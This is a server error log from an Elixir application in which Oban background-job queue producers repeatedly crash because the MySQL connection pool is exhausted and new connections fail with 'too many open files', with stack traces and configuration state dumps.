State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:55:24.239280Z], limit: 3, uuid: "b12555a4-7166-4077-96fb-0b3ede29637a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:24.239286Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.230362>, refresh_timer: #Reference<0.2525715032.1099431938.74417>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:55:24.239272Z], limit: 5, uuid: "50942382-3e19-4fca-a7f1-a3a6a19aae83", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:24.239278Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.230360>, refresh_timer: #Reference<0.2525715032.1121189889.230357>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:55:24.239251Z], limit: 10, uuid: "055ca556-9cb9-4a12-ad21-3e2934a0aebc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:24.239257Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.87658>, refresh_timer: #Reference<0.2525715032.1099431938.74416>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:55:24.238879Z], limit: 20, uuid: "119b5c61-8338-4f58-b4a3-ac2920af0372", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:24.238888Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.230358>, refresh_timer: #Reference<0.2525715032.1121189889.230335>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:55:24.238180Z], limit: 5, uuid: "0c2c39e4-eed5-46bb-a6ef-f764d3466591", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:24.238188Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.230359>, refresh_timer: #Reference<0.2525715032.1121189889.230327>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:55:24.238020Z], limit: 50, uuid: "b8798d7d-56ed-4ae6-9611-e3e9f757e724", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:24.238027Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.230361>, refresh_timer: #Reference<0.2525715032.1121189889.230326>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:37.510000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:37.574000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:40.880000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:41.964000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:55:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:55:36.239143Z], limit: 10, uuid: "362f37f2-c586-47e5-8a93-1b9f5f67c293", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:36.239150Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.61471>, refresh_timer: #Reference<0.2525715032.1077673987.61458>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:55:36.240590Z], limit: 5, uuid: "ef5fe39f-b0e8-4bf4-8638-2ff5a54e1ba6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:36.240595Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.87951>, refresh_timer: #Reference<0.2525715032.1121189889.230619>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:55:36.240192Z], limit: 5, uuid: "dfdf22d7-33b2-4ee1-818a-c626ea2ac046", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:55:36.240197Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.87952>, refresh_timer: #Reference<0.2525715032.1121189889.230614>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:55:47.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
